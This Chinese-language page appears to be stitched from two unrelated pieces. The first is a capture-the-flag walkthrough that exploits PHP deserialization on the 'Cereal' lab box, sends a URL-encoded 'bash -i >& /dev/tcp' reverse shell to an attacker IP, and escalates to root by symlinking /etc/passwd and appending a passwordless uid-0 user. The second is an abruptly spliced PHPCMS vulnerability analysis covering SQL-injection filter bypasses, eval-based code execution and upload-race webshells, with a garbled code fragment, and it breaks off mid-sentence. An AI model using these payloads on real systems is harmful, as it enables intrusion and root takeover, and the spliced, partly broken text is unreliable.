在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件

其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!

查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束!
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 71 次瀏覽 ? 2022-06-28 22:05
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
